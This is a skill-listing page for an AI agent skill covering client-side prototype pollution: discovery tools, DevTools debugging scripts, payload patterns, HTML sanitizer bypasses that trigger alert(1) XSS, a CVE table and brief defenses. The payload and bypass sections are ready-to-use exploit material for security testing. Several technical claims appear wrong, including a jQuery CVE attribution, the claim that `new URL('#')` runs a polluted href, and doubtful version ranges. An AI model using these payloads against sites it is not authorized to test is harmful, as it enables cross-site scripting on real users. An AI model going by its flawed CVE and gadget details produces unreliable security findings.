# Client Side Prototype Pollution

> How to discover, debug, and exploit client-side prototype pollution vulnerabilities in JavaScript applications. Use this skill whenever the user mentions prototype pollution, __proto__, constructor.prototype, Object.prototype, or wants to find XSS via prototype pollution in web applications. Also use when debugging JavaScript vulnerabilities, analyzing JS libraries for pollution sinks, or when the user needs to generate prototype pollution payloads for security testing.

- Skill: `abelrguezr/client-side-prototype-pollution` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/client-side-prototype-pollution`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/client-side-prototype-pollution/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/client-side-prototype-pollution

---


# Client-Side Prototype Pollution

A skill for discovering, debugging, and exploiting client-side prototype pollution vulnerabilities in JavaScript applications.

## When to Use This Skill

Use this skill when:
- The user wants to find prototype pollution vulnerabilities in a web application
- The user needs to debug where a polluted property is being set or accessed
- The user wants to generate payloads for testing prototype pollution
- The user is analyzing JavaScript libraries for pollution sinks
- The user needs to understand how to bypass HTML sanitizers via prototype pollution
- The user mentions `__proto__`, `constructor.prototype`, `Object.prototype`, or similar patterns

## Discovery Methods

### Automated Tools

Use these tools to automatically detect prototype pollution:

| Tool | Purpose | Link |
|------|---------|------|
| **ppfuzz** | Fuzzes for prototype pollution | https://github.com/dwisiswant0/ppfuzz |
| **ppmap** | Maps pollution paths | https://github.com/kleiton0x00/ppmap |
| **proto-find** | Finds vulnerable code | https://github.com/kosmosec/proto-find |
| **PPScan** | Browser extension for scanning | https://github.com/msrkp/PPScan |
| **Burp DOM Invader** | Professional tool with PP tab | Built into Burp Suite v2023.6+ |
| **protoStalker** | Chrome DevTools plugin (2024) | Visualizes prototype chains |

### Manual Discovery

Search for these keywords in Chrome DevTools:
- `location.hash`
- `location.search`
- `decodeURIComponent`
- `JSON.parse`
- `Object.assign`
- `_.merge` (lodash)
- `deepMerge`

## Debugging Prototype Pollution

### Break on Property Access

Use this script in Chrome DevTools to find where a property is accessed:

```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
  __proto__: null,
  get() {
    console.trace()
    return "test"
  },
})
```

### Find Root Cause

1. Get a payload from a tool (e.g., `constructor[prototype][ppmap]=reserved`)
2. Set breakpoint at first line of JS code
3. Refresh page with payload
4. Run this script in console:

```javascript
function debugAccess(obj, prop, debugGet = true) {
  var origValue = obj[prop]

  Object.defineProperty(obj, prop, {
    get: function () {
      if (debugGet) debugger
      return origValue
    },
    set: function (val) {
      debugger
      origValue = val
    },
  })
}

debugAccess(Object.prototype, "ppmap")
```

5. Resume execution and examine the call stack
6. Target stacks in library files (not minified app code)
7. The first occurrence in the stack is usually the root cause

## Finding Gadgets

A gadget is code that gets abused once pollution is discovered.

### Search for These Keywords

- `srcdoc`
- `innerHTML`
- `iframe`
- `createElement`
- `eval`
- `Function`
- `setTimeout`
- `setInterval`

### Browser-Built-In Gadgets (2023+)

These work on every page in modern browsers:

| Gadget Class | Property | Effect |
|--------------|----------|--------|
| `URL` | `href` | JS execution via `new URL()` |
| `Notification` | `title` | Alert via notification click |
| `Worker` | `name` | JS in dedicated Worker |
| `Image` | `src` | Traditional `onerror` XSS |
| `URLSearchParams` | `toString` | DOM-based Open Redirect |

### Example: URL Gadget

```javascript
// Pollute the href property
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Trigger the gadget
new URL('#'); // Executes the polluted href
```

## HTML Sanitizer Bypasses

### sanitize-html

```javascript
// Pollute before sanitizer runs
Object.prototype.innerHTML = '<img/src/onerror=alert(1)>';
```

### DOMPurify

```javascript
// Pollute before sanitizer runs
Object.prototype.after = '<img/src/onerror=alert(1)>';
```

### Closure Library

```html
<script>
  Object.prototype['* ONERROR'] = 1;
  Object.prototype['* SRC'] = 1;
</script>
<script src="https://google.github.io/closure-library/source/closure/goog/base.js"></script>
<script>
  goog.require('goog.html.sanitizer.HtmlSanitizer');
  goog.require('goog.dom');
</script>
<script>
  const html = '<img src onerror=alert(1)>';
  const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
  const sanitized = sanitizer.sanitize(html);
  const node = goog.dom.safeHtmlToNode(sanitized);
  document.body.append(node);
</script>
```

## Payload Generation

### Common Payload Patterns

```javascript
// Basic pollution
__proto__[polluted]=1
constructor[prototype][polluted]=1

// For URL parameters
?__proto__[polluted]=1
?constructor[prototype][polluted]=1

// For JSON input
{"__proto__": {"polluted": 1}}
{"constructor": {"prototype": {"polluted": 1}}}

// For location.hash
#__proto__[polluted]=1
```

### Library-Specific Payloads

**lodash < 4.17.22:**
```javascript
__proto__[polluted]=1
```

**jQuery 3.6.0-3.6.3:**
```javascript
// Via location.hash
#__proto__[polluted]=1
```

**DOMPurify ≤ 3.0.8:**
```javascript
__proto__[after]=<img/src/onerror=alert(1)>
```

## Notable CVEs

| CVE | Library | Version | Impact |
|-----|---------|---------|--------|
| CVE-2024-45801 | DOMPurify | ≤ 3.0.8 | Stored XSS via `after` |
| CVE-2023-26136 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| CVE-2023-26140 | jQuery | 3.6.0-3.6.3 | Arbitrary prototype pollution |
| N/A | sanitize-html | < 2.8.1 | XSS via innerHTML |

## Defensive Measures

### For Developers

1. **Freeze prototypes early:**
   ```javascript
   Object.freeze(Object.prototype);
   Object.freeze(Array.prototype);
   Object.freeze(Map.prototype);
   ```

2. **Use structuredClone()** instead of deep merge:
   ```javascript
   const copy = structuredClone(obj);
   ```

3. **Use safe merge libraries:**
   - lodash ≥ 4.17.22
   - deepmerge ≥ 5.3.0

4. **Add Content-Security-Policy:**
   ```http
   Content-Security-Policy: script-src 'self';
   ```

### For Security Testers

1. Always test with and without the skill to compare results
2. Document the exact pollution path (source → sink)
3. Verify the gadget actually executes (not just pollution)
4. Check for stored vs reflected vs DOM-based vectors

## Workflow

1. **Discover** - Use automated tools or manual search
2. **Debug** - Find where pollution occurs using breakpoints
3. **Identify Gadget** - Find code that reads polluted properties
4. **Generate Payload** - Create working exploit
5. **Verify** - Confirm execution (alert, network request, etc.)
6. **Document** - Record the full chain for reporting

## References

- PortSwigger Research: https://portswigger.net/research/widespread-prototype-pollution-gadgets
- BlackFan Client-Side PP: https://github.com/BlackFan/client-side-prototype-pollution
- Securitum Research: https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/
- Snyk DOMPurify CVE: https://snyk.io/blog/dompurify-prototype-pollution-bypass-cve-2024-45801/

